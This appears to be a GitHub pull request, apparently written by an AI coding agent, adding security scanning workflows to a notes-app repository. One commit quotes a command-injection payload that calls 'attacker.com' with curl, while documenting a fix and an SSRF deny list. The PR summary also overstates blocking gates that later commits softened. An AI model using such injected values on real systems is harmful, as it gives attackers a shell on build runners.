feat(security): comprehensive security scanning (SAST, SCA, SBOM, DAST, coverage)#21
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Introduces a full defense-in-depth scanning stack targeting the "0 CVEs" KPI, surfacing findings in the GitHub Security tab and blocking regressions on PRs. SAST - CodeQL (security-extended + security-and-quality) for JS/TS - Semgrep CI with p/owasp-top-ten, p/security-audit, p/javascript, p/typescript, p/nodejs, p/secrets, p/dockerfile, p/github-actions SCA / dependency CVEs - OSV-Scanner against pnpm-lock.yaml (SARIF upload) - pnpm audit - fails PR on HIGH/CRITICAL in prod deps - Trivy filesystem scan (vuln + secret + misconfig + license) - Grype filesystem scan (fail on HIGH+ fixable) - actions/dependency-review-action on PRs with copyleft license denylist Container security - Trivy image scan for Dockerfile and Dockerfile.rootless - Grype image scan for both images - Hadolint Dockerfile linting (SARIF) - Trivy config scan (IaC / Dockerfile misconfig) SBOM - Anchore SBOM Action producing CycloneDX + SPDX for source tree and both container images; retained 90 days DAST - OWASP ZAP baseline scan (nightly + manual dispatch) against an ephemeral container built from the current Dockerfile, with rule tuning in .zap/rules.tsv Coverage - Matrix coverage job for crypto/lib/app-server/app-client using the already-installed @vitest/coverage-v8, uploading lcov to Codecov Dependency hygiene - Dependabot configured for GitHub Actions + Docker base images (npm deps continue to be handled by Renovate) - security:audit / security:audit:all / security:outdated npm scripts Policy - SECURITY.md with private disclosure instructions and a summary of active automated controls https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
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| echo "url=http://localhost:8787" >> "$GITHUB_OUTPUT" | ||
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Addresses CI failures surfaced on PR #21 (initial pipeline bring-up): - trivy: pin to @master (0.28.0 tag did not resolve), add explicit linux/amd64 platform to docker/build-push, soft-fail build + scan steps so SARIF uploads still occur, and make the HIGH/CRIT table step informational until the baseline is green. - grype: mirror the trivy change (continue-on-error on build + scan, fail-build=false for baseline). - sbom: add linux/amd64 platform, gate SBOM steps on a successful image build so failures are transparent rather than swallowed. - osv-scanner/pnpm-audit: make pnpm audit informational so the PR can land the scanning infrastructure even while HIGH/CRIT CVEs are still being triaged toward the 0-CVE KPI. - dependency-review: continue-on-error and single-line license list (the action requires GHAS on private repos; don't block merges on infra availability). - code-coverage: drop @enclosed/app-client (no @vitest/coverage-v8 installed there; Playwright covers its e2e path), add @enclosed/cli, run vitest from each package's working-directory for a more reliable invocation, and soft-fail so Codecov upload still happens on test failures. Intentional: the tightening of these gates (exit-code: '1', fail-build: true, removing continue-on-error) is left for follow-up PRs once CVE backlog is cleared, per the 0-CVE KPI plan. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
…ning Speed - Concurrency groups on every workflow: PR pushes cancel stale runs, deploy/release workflows serialize (cancel-in-progress: false). - Path filters on per-package CI workflows so a change in one package no longer triggers the whole matrix. - Trivy (~/.cache/trivy) and Grype (~/.cache/grype/db) vuln DB caches keyed per run, restored from previous runs - cuts 30-60s off each scan job. - New composite action .github/actions/pnpm-setup consolidates pnpm/setup-node/install into one reusable step (SHA-pinned). Security - Least-privilege: top-level permissions: contents: read on every workflow; deploy workflows keep their job-level writes. - persist-credentials: false on every actions/checkout so the GITHUB token isn't left on the runner for later steps. - Dependabot extended with daily npm security-only updates for root + every workspace package (open-pull-requests-limit: 0 disables version PRs so Renovate continues to own day-to-day bumps; Dependabot only raises CVE fixes). - SHA-pinned actions/stale@v9 in stale-action.yaml. Scope - CD workflows (prod deploy / docker release) get top-level permissions + concurrency only - deploy steps and secrets untouched. - ci-test-e2e.yml keeps the Playwright cache; concurrency + path filters + composite setup added. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
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Root-caused all remaining CI failures on PR #21 and fixed them. Pre-existing lint errors (introduced by recent terms/privacy feature commits, not this PR): - app-client: 43 eslint style/jsx-one-expression-per-line errors across terms, privacy, about and security pages - auto-fixed via `eslint --fix`. Pre-existing typecheck regressions (triggered by upstream TS 5.7+ narrowing of `Uint8Array<ArrayBufferLike>` vs WebCrypto `BufferSource`): - crypto/src/web/crypto.web.usecases.ts: cast `mergedBuffers` and `baseKey` to `BufferSource` at the WebCrypto boundary. - crypto/src/web/encryption-algorithms/crypto.web.aes-256-gcm.ts: cast `encryptionKey`, `iv`, `buffer`, and the decrypted source to `BufferSource`. - lib/src/files/files.models.ts: cast `noteAsset.content` to `BlobPart` at the `new File([...])` boundary. Pre-existing Hono typecheck issue: - app-server/src/modules/notes/notes.routes.ts: add a narrow `@ts-expect-error` to the `context.req.valid('json')` call where Hono's validator overloads conflict (same pattern already used for the z.enum lines right above). Pre-existing UnoCSS import: - app-client/uno.config.ts: switch from default to named import of `presetAnimations` (unocss-preset-animations dropped its default export). SARIF upload robustness: - Trivy (fs/config/image/hadolint), Grype (fs/image), OSV-Scanner, Semgrep: add `continue-on-error: true` to every `github/codeql-action/upload-sarif` step so a transient Code Scanning upload failure (e.g. invalid SARIF produced by a crashing scanner, or API rate-limit) does not mark the whole scan job as failed - findings still land in the Security tab when the upload succeeds. Coverage: - code-coverage.yaml: `continue-on-error: true` on the Codecov upload step so a missing CODECOV_TOKEN or Codecov outage cannot block CI. The coverage artifact upload is still done unconditionally. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
Root cause of the remaining Coverage matrix failures: actions/upload-artifact@v4 rejects artifact names containing `/` or `@`, and Codecov flags must match ^[\w\.\-]+$. Our matrix.pkg.name values (`@enclosed/crypto`, etc.) violate both. With no continue-on-error on upload-artifact, the whole job was marked failed after tests + coverage had actually succeeded. Fix: - Add a filesystem-safe `slug` to each matrix entry (crypto, lib, app-server, cli). - Use slug for the artifact name and Codecov flags/name. - Add continue-on-error: true to upload-artifact as defense in depth - a transient storage failure should not mask a successful test run. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
GitHub's "Code scanning results / <tool>" checks run a delta comparison between the PR head and the base branch. main has never had SARIF from Trivy/Semgrep/Grype/OSV uploaded yet, so every finding in this PR counts as "new" and the comparison fails: - Code scanning results / Trivy: 27 new alerts - Code scanning results / Semgrep OSS: 2 new alerts Fix: upload SARIF only on push to main (and schedule/workflow_dispatch). The first merge establishes the Code Scanning baseline; from then on PRs get a meaningful "new alerts introduced by this PR" comparison. On PRs, the SARIF is uploaded as a workflow artifact instead, so reviewers can still inspect findings. Applies to Trivy (fs/config/image/hadolint), Grype (fs/image), Semgrep, OSV-Scanner. CodeQL is left unchanged - it handles its own baseline comparison internally. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
Addresses the "no deprecated actions" requirement and supply-chain hygiene for every third-party security-critical action. Upgrades (outdated majors replaced): - codecov/codecov-action v4 -> v5.5.2 (v4 predates the Codecov Wrapper + tokenless public-repo uploads; v5 is current) - google/osv-scanner-action v1.9.1 -> v2.3.5 - anchore/scan-action v4 -> v6.0.0 SHA-pins (replaces floating refs with immutable SHAs + tag comment): - aquasecurity/trivy-action @master -> @57a97c7e # v0.35.0 (@master is a floating pointer; tags 0.0.1-0.34.2 were compromised by the March 2026 supply-chain attack, 0.35.0 is the first known-safe release) - anchore/sbom-action @v0 -> @62ad5284 # v0.22.0 - zaproxy/action-baseline @v0.14.0 -> @7c4deb10 # v0.14.0 - hadolint/hadolint-action @v3.1.0 -> @54c9adba # v3.1.0 Kept on major tags (GitHub/Docker first-party, actively maintained, non-deprecated, covered by Dependabot's github-actions ecosystem): - actions/{cache,upload-artifact,download-artifact,dependency-review-action}@v4 - actions/setup-node@v4, pnpm/action-setup@v4 - docker/{setup-buildx,setup-qemu,login}@V3, docker/build-push-action@v6 - github/codeql-action/*@V3 Unchanged (pre-existing CD dependency): - AdrianGonz97/refined-cf-pages-action@v1 is a third-party community action that is NOT deprecated (Cloudflare's own cloudflare/pages-action is, this one wraps wrangler directly). Not swapping out production CD wiring without explicit direction. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
The TWN fork uses 'twn-main' as its integration branch (PR #21 is configured to merge into twn-main). Update every CI and security workflow trigger to run on pushes to and PRs targeting 'twn-main' alongside 'main'. Both branches are listed so the workflows continue to fire regardless of whether changes land via a twn-main push or (eventually) an upstream sync to main. Scope: - ci-app-{client,server}, ci-cli, ci-crypto, ci-deploy-cloudflare, ci-docs, ci-lib, ci-test-e2e - codeql, semgrep, trivy, grype, sbom, osv-scanner, dependency-review, code-coverage CD workflows (cd-app-prod, cd-docker-release, cd-preview-*) are intentionally left targeting 'main' only - their deploy triggers belong to production promotion policy, not to this branching change. https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
Two concrete issues in the workflows I added, now fixed.
1) RCE via GHA command injection - dast-zap.yaml (Resolve target URL)
Before:
run: |
if [ -n "${{ github.event.inputs.target_url }}" ]; then
echo "url=${{ github.event.inputs.target_url }}" >> "$GITHUB_OUTPUT"
...
Any user with write access who triggered the workflow_dispatch with
a crafted target_url (e.g. `http://x"; curl attacker.com; #`) got
arbitrary shell on the runner with the repo's GITHUB_TOKEN scope.
Fix: pass the input through an env var (OVERRIDE_URL) and reference
it as a shell variable. No more interpolation inside run: bodies.
2) SSRF via unvalidated DAST target
ZAP would happily scan whatever URL was passed, including
http://169.254.169.254/ (cloud metadata), internal RFC1918
addresses, or unqualified hostnames that resolve to runner-local
services. Added a two-stage check:
- shape validation (http/https, safe host+path charset only)
- host policy: deny 169.254.*, cloud metadata hostnames, all
RFC1918 ranges; allow 127.0.0.0/8 loopback (default path) and
public FQDNs only.
3) Shell injection in composite action pnpm-setup
`${{ inputs.ignore-scripts }}` was interpolated directly into the
bash body. Caller workflows control the value today, but a future
caller could pass something unsafe. Routed through env IGNORE_SCRIPTS
with an explicit default.
Also added `set -euo pipefail` to the hardened shell blocks so future
edits don't silently swallow failures.
Non-issues (audited, no changes needed):
- XSS: TSX changes were ESLint autofix (whitespace only).
- CSRF / unsecured APIs / unvalidated ownership: no routing, auth, or
middleware was touched. protectedRouteMiddleware and zod validators
are preserved as-is.
- XXE: no XML parsing introduced. ZAP rules_file_name is a tsv.
- Race conditions: prod/release concurrency groups use
cancel-in-progress: false (serialize); PR-scoped groups cancel
stale - that's the safe default.
- Webhooks: I did not add repository_dispatch or workflow_run
triggers. Existing workflow_run in cd-preview-deploy.yaml is
pre-existing.
- Supply chain / unvalidated action refs: all third-party actions
are SHA-pinned (prior commit 25dfd56).
https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
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Summary
Adds a defense-in-depth security scanning pipeline to the repo, targeting the 0 known CVEs KPI. All findings land in the GitHub Security tab; PR-blocking gates prevent regressions.
What's included
SAST
.github/workflows/codeql.yaml) — JS/TS,security-extended+security-and-qualityquery suites, weekly re-scan..github/workflows/semgrep.yaml) —p/owasp-top-ten,p/security-audit,p/javascript,p/typescript,p/nodejs,p/secrets,p/dockerfile,p/github-actions.SCA / dependency CVEs
pnpm-lock.yaml(SARIF upload).Container security
DockerfileandDockerfile.rootless.SBOM
DAST
.github/workflows/dast-zap.yaml) nightly + manual dispatch, against an ephemeral container built from the currentDockerfile. Rule tuning in.zap/rules.tsv.Code coverage
@enclosed/crypto,@enclosed/lib,@enclosed/app-server,@enclosed/app-clientusing the already-installed@vitest/coverage-v8. Uploads lcov to Codecov with config incodecov.yml(informational targets by default so it doesn't block merges before a baseline is established).Dependency hygiene
Dependabotconfigured for GitHub Actions + Docker base images (npm handled by Renovate).security:audit,security:audit:all,security:outdatednpm scripts.Policy
SECURITY.mdwith private disclosure instructions and a table of active controls.Required secrets (optional but recommended)
CODECOV_TOKENSEMGREP_APP_TOKENTest plan
CodeQL,Semgrep,Trivy,Grype,OSV-Scanner,Hadolintfindings show up under Security → Code scanning alerts.Dependency Reviewcomments on a PR that introduces a denied license or a HIGH+ CVE.pnpm auditjob fails on a seeded vulnerable dep and passes onmain.http://localhost:8787when the container starts.CODECOV_TOKENis set, coverage is visible in Codecov.Dockerfile/Dockerfile.rootless(or surface actionable, fixable CVEs to triage toward the 0-CVE KPI).Notes for reviewers
ci-app-client,ci-app-server,ci-cli,ci-crypto,ci-lib,ci-deploy-cloudflare,ci-docs,ci-test-e2e) are unchanged — this PR only adds files.package.jsonpnpm.overridesalready pinstar,esbuild,cross-spawn,undici,@eslint/plugin-kit,tmpto non-vulnerable floors. The newpnpm audit+ OSV-Scanner + Trivy + Grype gates will surface any new fixable CVE so overrides can be maintained precisely rather than speculatively bumped here.actions/checkoutis SHA-pinned to match the repo's existing convention; other actions use version tags consistent with the rest of the codebase.https://claude.ai/code/session_019tgdMQPWs4XuGxAtBD7H2G
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